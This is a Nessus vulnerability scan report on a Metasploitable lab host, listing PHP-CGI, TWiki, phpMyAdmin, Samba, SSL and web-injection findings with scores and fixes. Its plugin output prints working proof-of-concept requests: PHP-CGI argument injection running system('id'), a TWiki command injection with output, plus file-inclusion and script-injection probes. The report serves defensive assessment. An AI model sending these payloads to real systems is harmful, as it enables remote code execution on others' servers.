



META

Report generated by Tenable Nessus™

Wed, 11 Sep 2024 10:23:50 EDT

TABLE OF CONTENTS

Vulnerabilities by Host

- 192.168.50.152.....4

Nessus Essentials

Vulnerabilities by Host

192.168.50.152

5

CRITICAL

6

HIGH

28

MEDIUM

9

LOW

84

INFO

Scan Information

Start time: Wed Sep 11 09:57:55 2024

End time: Wed Sep 11 10:23:50 2024

Host Information

Netbios Name: METASPLOITABLE

IP: 192.168.50.152

MAC Address: 08:00:27:CE:DB:13

OS: Unix

Vulnerabilities

70728 - Apache PHP-CGI Remote Code Execution

Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

Solution

Upgrade to PHP 5.3.13 / 5.4.3 or later.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.4 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

9.0

EPSS Score

0.9372

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

BID	53388
CVE	CVE-2012-1823
CVE	CVE-2012-2311
CVE	CVE-2012-2335
CVE	CVE-2012-2336
XREF	CERT:520827
XREF	EDB-ID:29290
XREF	EDB-ID:29316
XREF	CISA-KNOWN-EXPLOITED:2022/04/15

Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information

Published: 2013/11/01, Modified: 2023/04/25

Plugin Output

tcp/80/www

```
Nessus was able to verify the issue exists using the following request :
```

```
----- snip -----
```

```
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: 192.168.50.152
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Content-Length: 115
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
<?php echo "Content-Type:text/html\r\n\r\n"; echo 'php_cgi_remote_code_execution-1726063965';
system('id'); die; ?>
----- snip -----
```

32314 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness

Synopsis

The remote SSH host keys are weak.

Description

The remote SSH host key has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to set up decipher the remote session or set up a man in the middle attack.

See Also

<http://www.nessus.org/u?107f9bdc>

<http://www.nessus.org/u?f14f4224>

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particular, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

VPR Score

5.1

EPSS Score

0.0967

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/14, Modified: 2024/07/24

Plugin Output

tcp/22/ssh

32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

Synopsis

The remote SSL certificate uses a weak key.

Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

See Also

<http://www.nessus.org/u?107f9bdc>

<http://www.nessus.org/u?f14f4224>

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particular, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

VPR Score

5.1

EPSS Score

0.0967

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/15, Modified: 2020/11/16

Plugin Output

tcp/25/smtp

20007 - SSL Version 2 and 3 Protocol Detection

Synopsis

The remote service encrypts traffic using a protocol with known weaknesses.

Description

The remote service accepts connections encrypted using SSL 2.0 and/or SSL 3.0. These versions of SSL are affected by several cryptographic flaws, including:

- An insecure padding scheme with CBC ciphers.
- Insecure session renegotiation and resumption schemes.

An attacker can exploit these flaws to conduct man-in-the-middle attacks or to decrypt communications between the affected service and clients.

Although SSL/TLS has a secure means for choosing the highest supported version of the protocol (so that these versions will be used only if the client or server support nothing better), many web browsers implement this in an unsafe way that allows an attacker to downgrade a connection (such as in POODLE). Therefore, it is recommended that these protocols be disabled entirely.

NIST has determined that SSL 3.0 is no longer acceptable for secure communications. As of the date of enforcement found in PCI DSS v3.1, any version of SSL will not meet the PCI SSC's definition of 'strong cryptography'.

See Also

<https://www.schneier.com/academic/paperfiles/paper-ssl.pdf>

<http://www.nessus.org/u?b06c7e95>

<http://www.nessus.org/u?247c4540>

<https://www.openssl.org/~bodo/ssl-poodle.pdf>

<http://www.nessus.org/u?5d15ba70>

<https://www.imperialviolet.org/2014/10/14/poodle.html>

<https://tools.ietf.org/html/rfc7507>

<https://tools.ietf.org/html/rfc7568>

Solution

Consult the application's documentation to disable SSL 2.0 and 3.0.

Use TLS 1.2 (with approved cipher suites) or higher instead.

Risk Factor

Critical

CVSS v3.0 Base Score

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2005/10/12, Modified: 2022/04/04

Plugin Output

tcp/25/smtp

- SSLv2 is enabled and the server supports at least one cipher.

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
EXP-RC2-CBC-MD5		RSA (512)	RSA	RC2-CBC (40)	MD5
export					
EXP-RC4-MD5		RSA (512)	RSA	RC4 (40)	MD5
export					

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
DES-CBC3-MD5		RSA	RSA	3DES-CBC (168)	MD5

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
RC4-MD5		RSA	RSA	RC4 (128)	MD5

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

- SSLv3 is enabled and the server supports at least one cipher.

Explanation: TLS 1.0 and SSL 3.0 cipher suites may be used with SSLv3

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
EXP-EDH-RSA-DES-CBC-SHA		DH (512)	RSA	DES-CBC (40)	
SHA1 export					
EDH-RSA-DES-CBC-SHA		DH	RSA	DES-CBC (56)	SHA
[...]					

125855 - phpMyAdmin prior to 4.8.6 SQLi vulnerability (PMASA-2019-3)

Synopsis

The remote web server hosts a PHP application that is affected by SQLi vulnerability.

Description

According to its self-reported version number, the phpMyAdmin application hosted on the remote web server is prior to 4.8.6. It is, therefore, affected by a SQL injection (SQLi) vulnerability that exists in designer feature of phpMyAdmin. An unauthenticated, remote attacker can exploit this to inject or manipulate SQL queries in the back-end database, resulting in the disclosure or manipulation of arbitrary data.

Note that Nessus has not attempted to exploit these issues but has instead relied only on the application's self-reported version number.

See Also

<http://www.nessus.org/u?c9d7fc8c>

Solution

Upgrade to phpMyAdmin version 4.8.6 or later.

Alternatively, apply the patches referenced in the vendor advisories.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0101

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID	108617
CVE	CVE-2019-11768

Plugin Information

Published: 2019/06/13, Modified: 2024/06/04

Plugin Output

tcp/80/www

```
URL          : http://192.168.50.152/phpMyAdmin
Installed version : 3.1.1
Fixed version  : 4.8.6
```

39469 - CGI Generic Remote File Inclusion

Synopsis

Arbitrary code may be run on the remote server.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a remote file from a remote server and execute arbitrary commands on the target host.

See Also

https://en.wikipedia.org/wiki/Remote_File_Inclusion

<http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion>

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

XREF	CWE:73
XREF	CWE:78
XREF	CWE:98
XREF	CWE:434
XREF	CWE:473
XREF	CWE:632
XREF	CWE:714
XREF	CWE:727
XREF	CWE:801
XREF	CWE:928
XREF	CWE:929

Plugin Information

Published: 2009/06/19, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to web code injection :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=http://CY_GTLMK.example.com/

----- output -----
<b>Warning</b>: include() [<a href='function.include'>function.in [...]
<br />
<b>Warning</b>: include(http://CY_GTLMK.example.com/) [<a href='function.include'>function.include</a>]: failed to open stream: no suitable wrapper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>469</b><br />
<br />
<b>Warning</b>: include() [<a href='function.include'>function.in [...]
-----

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=http://CY_GTLMK.example.com/

----- output -----
<b>Warning</b>: include() [<a href='function.include'>function.in [...]
<br />
<b>Warning</b>: include(http://CY_GTLMK.example.com/) [<a href='function.include'>function.include</a>]: failed to open stream: no suitable wrapper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>469</b><br />
<br />
<b>Warning</b>: include() [<a href='function.include'>function.in [...]
-----

Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)

http://192.168.50.152/mutillidae/?page=http://CY_GTLMK.example.com/
http://192.168.50.152/mutillidae/index.php?page=http://CY_GTLMK.example.com/
```


59088 - PHP PHP-CGI Query String Parameter Injection Arbitrary Code Execution

Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

See Also

<http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/>

<http://www.php.net/archive/2012.php#id2012-05-08-1>

<http://www.php.net/ChangeLog-5.php#5.3.13>

<http://www.php.net/ChangeLog-5.php#5.4.3>

<http://www.nessus.org/u?80589ce8>

<https://www-304.ibm.com/support/docview.wss?uid=swg21620314>

Solution

If using Lotus Foundations, upgrade the Lotus Foundations operating system to version 1.2.2b or later.

Otherwise, upgrade to PHP 5.3.13 / 5.4.3 or later.

Risk Factor

High

VPR Score

9.0

EPSS Score

0.9372

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

BID	53388
CVE	CVE-2012-1823
CVE	CVE-2012-2311
XREF	CERT:520827
XREF	EDB-ID:18834
XREF	CISA-KNOWN-EXPLOITED:2022/04/15

Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information

Published: 2012/05/14, Modified: 2022/03/28

Plugin Output

tcp/80/www

Nessus was able to verify the issue exists using the following request :

```
----- snip -----
POST /dvwa/dvwa/includes/DBMS/DBMS.php?-d+allow_url_include%3don+-d+safe_mode%3doff+-d
+suhosin.simulation%3don+-d+open_basedir%3doff+-d+auto_prepend_file%3dphp%3a//input+-n HTTP/1.1
Host: 192.168.50.152
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Content-Length: 82
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
<?php echo 'php_cgi_query_string_code_execution-1726063965'; system('id'); die; ?>
----- snip -----
```

42873 - SSL Medium Strength Cipher Suites Supported (SWEET32)

Synopsis

The remote service supports the use of medium strength SSL ciphers.

Description

The remote host supports the use of SSL ciphers that offer medium strength encryption. Nessus regards medium strength as any encryption that uses key lengths at least 64 bits and less than 112 bits, or else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength encryption if the attacker is on the same physical network.

See Also

<https://www.openssl.org/blog/blog/2016/08/24/sweet32/>

<https://sweet32.info>

Solution

Reconfigure the affected application if possible to avoid use of medium strength ciphers.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

VPR Score

5.1

EPSS Score

0.0053

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

References

CVE CVE-2016-2183

Plugin Information

Published: 2009/11/23, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
DES-CBC3-MD5	0x07, 0x00, 0xC0	RSA	RSA	3DES-CBC (168)	MD5
EDH-RSA-DES-CBC3-SHA	0x00, 0x16	DH	RSA	3DES-CBC (168)	
SHA1					
ADH-DES-CBC3-SHA	0x00, 0x1B	DH	None	3DES-CBC (168)	
SHA1					
DES-CBC3-SHA	0x00, 0x0A	RSA	RSA	3DES-CBC (168)	
SHA1					

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

90509 - Samba Badlock Vulnerability

Synopsis

An SMB server running on the remote host is affected by the Badlock vulnerability.

Description

The version of Samba, a CIFS/SMB server for Linux and Unix, running on the remote host is affected by a flaw, known as Badlock, that exists in the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) protocols due to improper authentication level negotiation over Remote Procedure Call (RPC) channels. A man-in-the-middle attacker who is able to intercept the traffic between a client and a server hosting a SAM database can exploit this flaw to force a downgrade of the authentication level, which allows the execution of arbitrary Samba network calls in the context of the intercepted user, such as viewing or modifying sensitive security data in the Active Directory (AD) database or disabling critical services.

See Also

<http://badlock.org>

<https://www.samba.org/samba/security/CVE-2016-2118.html>

Solution

Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0358

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	86002
CVE	CVE-2016-2118
XREF	CERT:813296

Plugin Information

Published: 2016/04/13, Modified: 2019/11/20

Plugin Output

tcp/445/cifs

```
Nessus detected that the Samba Badlock patch has not been applied.
```

19704 - TWiki 'rev' Parameter Arbitrary Command Execution

Synopsis

The remote web server hosts a CGI application that is affected by an arbitrary command execution vulnerability.

Description

The version of TWiki running on the remote host allows an attacker to manipulate input to the 'rev' parameter in order to execute arbitrary shell commands on the remote host subject to the privileges of the web server user id.

See Also

<http://www.nessus.org/u?c70904f3>

Solution

Apply the appropriate hotfix referenced in the vendor advisory.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.2 (CVSS:3.0/E:F/RL:O/RC:C)

VPR Score

7.4

EPSS Score

0.9634

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.2 (CVSS2#E:F/RL:OF/RC:C)

References

BID 14834
CVE CVE-2005-2877

Exploitable With

Metasploit (true)

Plugin Information

Published: 2005/09/15, Modified: 2024/06/05

Plugin Output

tcp/80/www

```
Nessus was able to execute the command "id" using the
following request :
```

```
http://192.168.50.152/twiki/bin/view/Main/TWikiUsers?rev=2%20%7cid%7c%7cecho%20
```

```
This produced the following truncated output (limited to 2 lines) :
```

```
----- snip -----
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
----- snip -----
```


36171 - phpMyAdmin Setup Script Configuration Parameters Arbitrary PHP Code Injection (PMASA-2009-4)

Synopsis

The remote web server contains a PHP application that is affected by a code execution vulnerability.

Description

The setup script included with the version of phpMyAdmin installed on the remote host does not properly sanitize user-supplied input before using it to generate a config file for the application. This version is affected by the following vulnerabilities :

- The setup script inserts the unsanitized verbose server name into a C-style comment during config file generation.
- An attacker can save arbitrary data to the generated config file by altering the value of the 'textconfig' parameter during a POST request to config.php.

An unauthenticated, remote attacker can exploit these issues to execute arbitrary PHP code.

See Also

<https://www.tenable.com/security/research/tra-2009-02>

http://www.phpmyadmin.net/home_page/security/PMASA-2009-4.php

Solution

Upgrade to phpMyAdmin 3.1.3.2. Alternatively, apply the patches referenced in the project's advisory.

Risk Factor

High

VPR Score

6.7

EPSS Score

0.0292

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID	34526
CVE	CVE-2009-1285
XREF	TRA:TRA-2009-02
XREF	SECUNIA:34727
XREF	CWE:94

Plugin Information

Published: 2009/04/16, Modified: 2022/04/11

Plugin Output

tcp/80/www

11411 - Backup Files Disclosure

Synopsis

It is possible to retrieve file backups from the remote web server.

Description

By appending various suffixes (ie: .old, .bak, ~, etc...) to the names of various files on the remote host, it seems possible to retrieve their contents, which may result in disclosure of sensitive information.

See Also

<http://www.nessus.org/u?8f3302c6>

Solution

Ensure the files do not contain any sensitive information, such as credentials to connect to a database, and delete or protect those files that should not be accessible.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2003/03/17, Modified: 2023/07/10

Plugin Output

tcp/80/www

```
It is possible to read the following backup files :
```

- File : /twiki/bin/view/Main/WebHome~
URL : http://192.168.50.152/twiki/bin/view/Main/WebHome~
- File : /twiki/bin/search/Main/SearchResult~
URL : http://192.168.50.152/twiki/bin/search/Main/SearchResult~

40984 - Browsable Web Directories

Synopsis

Some directories on the remote web server are browsable.

Description

Multiple Nessus plugins identified directories on the web server that are browsable.

See Also

<http://www.nessus.org/u?0a35179e>

Solution

Make sure that browsable directories do not leak confidential information or give access to sensitive resources. Additionally, use access restrictions or disable directory indexing for any that do.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2009/09/15, Modified: 2021/01/19

Plugin Output

tcp/80/www

The following directories are browsable :

```
http://192.168.50.152/dav/
http://192.168.50.152/dvwa/dvwa/
http://192.168.50.152/dvwa/dvwa/css/
http://192.168.50.152/dvwa/dvwa/images/
http://192.168.50.152/dvwa/dvwa/includes/
http://192.168.50.152/dvwa/dvwa/includes/DBMS/
http://192.168.50.152/dvwa/dvwa/js/
http://192.168.50.152/mutillidae/documentation/
http://192.168.50.152/mutillidae/styles/
http://192.168.50.152/mutillidae/styles/ddsmoothmenu/
```

```
http://192.168.50.152/test/  
http://192.168.50.152/test/testoutput/
```

44136 - CGI Generic Cookie Injection Scripting

Synopsis

The remote web server is prone to cookie injection attacks.

Description

The remote web server hosts at least one CGI script that fails to adequately sanitize request strings with malicious JavaScript.

By leveraging this issue, an attacker may be able to inject arbitrary cookies. Depending on the structure of the web application, it may be possible to launch a 'session fixation' attack using this mechanism.

Please note that :

- Nessus did not check if the session fixation attack is feasible.
- This is not the only vector of session fixation.

See Also

https://en.wikipedia.org/wiki/Session_fixation

https://www.owasp.org/index.php/Session_Fixation

http://www.acros.si/papers/session_fixation.pdf

<http://projects.webappsec.org/w/page/13246960/Session%20Fixation>

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF	CWE:472
XREF	CWE:642
XREF	CWE:715
XREF	CWE:722

Plugin Information

Published: 2010/01/25, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to cookie manipulation :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=<script>document.cookie="testnexn=2322;"</script>

----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=<script>document.cookie="t
estnexn=2322;"</script>">Toggle Hints</a></td><td><a href="./index.
php?do=toggle-security&page=<script>document.cookie="testnexn=2322;"</sc
ript>">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
-----

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=<script>document.cookie="testnexn=2322;"</scr
ipt>

----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=<script>document.cookie="t
estnexn=2322;"</script>">Toggle Hints</a></td><td><a href="./index.
php?do=toggle-security&page=<script>document.cookie="testnexn=2322;"</sc
ript>">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
-----
```

49067 - CGI Generic HTML Injections (quick test)

Synopsis

The remote web server may be prone to HTML injections.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings with malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML to be executed in a user's browser within the security context of the affected site.

The remote web server may be vulnerable to IFRAME injections or cross-site scripting attacks :

- IFRAME injections allow 'virtual defacement' that might scare or anger gullible users. Such injections are sometimes implemented for 'phishing' attacks.
- XSS are extensively tested by four other scripts.
- Some applications (e.g. web forums) authorize a subset of HTML without any ill effect. In this case, ignore this warning.

See Also

<http://www.nessus.org/u?602759bc>

Solution

Either restrict access to the vulnerable application or contact the vendor for an update.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF	CWE:80
XREF	CWE:86

Plugin Information

Published: 2010/09/01, Modified: 2021/01/19

Plugin Output

tcp/80/www

Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to HTML injection :

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=<<<<"uqphid%20>>>>

```
----- output -----
<a href= "./index.php?page=login.php">Login/Register</a>
</td>
<td><a href= "./index.php?do=toggle-hints&page=<<<<"uqphid >>>>">Toggle Hi
nts</a></td><td><a href= "./index.php?do=toggle-security&page=<<<<"u
qphid >>>>">Toggle Security</a></td>
<td><a href= "set-up-database.php">Reset DB</a></td>
<td><a href= "./index.php?page=show-log.php">View Log</a></td>
-----
```

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=<<<<"uqphid%20>>>>

```
----- output -----
<a href= "./index.php?page=login.php">Login/Register</a>
</td>
<td><a href= "./index.php?do=toggle-hints&page=<<<<"uqphid >>>>">Toggle Hi
nts</a></td><td><a href= "./index.php?do=toggle-security&page=<<<<"u
qphid >>>>">Toggle Security</a></td>
<td><a href= "set-up-database.php">Reset DB</a></td>
<td><a href= "./index.php?page=show-log.php">View Log</a></td>
-----
```

+ The 'template' parameter of the /twiki/bin/oops/Main/WebHomemailto:webmasteryour/company CGI :

/twiki/bin/oops/Main/WebHomemailto:webmasteryour/company?template=<<<<"uqphid%20>>>>

```
----- output -----
<html><body>
<h1>TWiki Installation Error</h1>
Template file <<<<"uqphid >>>>.tmpl not found or template directory
/var/www/twiki/templates not found.<p />
Check the $templateDir variable in TWiki.cfg.
-----
```

Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)

http://192.168.50.152/mutillidae/index.php?page=<<<<"uqphid%20>>>>

http://192.168.50.152/mutillidae/?page=<<<<"uqphid%20>>>>

42872 - CGI Generic Local File Inclusion (2nd pass)

Synopsis

Arbitrary code may be run on this server.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a local file and disclose its contents, or even execute arbitrary code on the remote host.

See Also

https://en.wikipedia.org/wiki/Remote_File_Inclusion

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

References

XREF	CWE:73
XREF	CWE:78
XREF	CWE:98
XREF	CWE:473
XREF	CWE:632
XREF	CWE:714
XREF	CWE:727
XREF	CWE:928
XREF	CWE:929

Plugin Information

Published: 2009/11/19, Modified: 2021/01/19

Plugin Output

tcp/80/www

```

----- request -----
GET /mutillidae/?page=<IMG%20SRC="javascript:alert(104);"> HTTP/1.1
Host: 192.168.50.152
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
-----

----- output -----
<!-- Begin Content -->
<br />
<b>Warning</b>: include(&lt;IMG SRC=&quot;javascript:alert(104);&quot;&
gt;)< a href='function.include'>function.include</a>]: failed to open s
tream: No such file or directory in <b>/var/www/mutillidae/index.php</b>
on line <b>469</b><br />
<br />
<b>Warning</b>: include() [<a href='function.include'>function.in [...]]
-----

----- request -----
GET /mutillidae/index.php?page=<IMG%20SRC="javascript:alert(104);"> HTTP/1.1
Host: 192.168.50.152
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
-----

----- output -----
<!-- Begin Content -->
<br />
<b>Warning</b>: include(&lt;IMG SRC=&quot;javascript:alert(104);&quot;&
gt;)< a href='function.include'>function.include</a>]: failed to open s
tream: No such file or directory in <b>/var/www/mutillidae/index.php</b>
on line <b>469</b><br />
<br />
<b>Warning</b>: include() [<a href='function.include'>function.in [...]]
-----

```

39467 - CGI Generic Path Traversal

Synopsis

Arbitrary files may be accessed or executed on the remote host.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings and are affected by directory traversal or local files inclusion vulnerabilities.

By leveraging this issue, an attacker may be able to read arbitrary files on the web server or execute commands.

See Also

https://en.wikipedia.org/wiki/Directory_traversal

<http://cwe.mitre.org/data/definitions/22.html>

<http://projects.webappsec.org/w/page/13246952/Path%20Traversal>

<http://projects.webappsec.org/w/page/13246949/Null%20Byte%20Injection>

<http://www.nessus.org/u?4de3840d>

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade to address path traversal flaws.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

References

XREF	OWASP:OWASP-AZ-001
XREF	CWE:21
XREF	CWE:22
XREF	CWE:632
XREF	CWE:715
XREF	CWE:723

XREF	CWE:813
XREF	CWE:928
XREF	CWE:932

Plugin Information

Published: 2009/06/19, Modified: 2022/04/07

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to directory traversal :

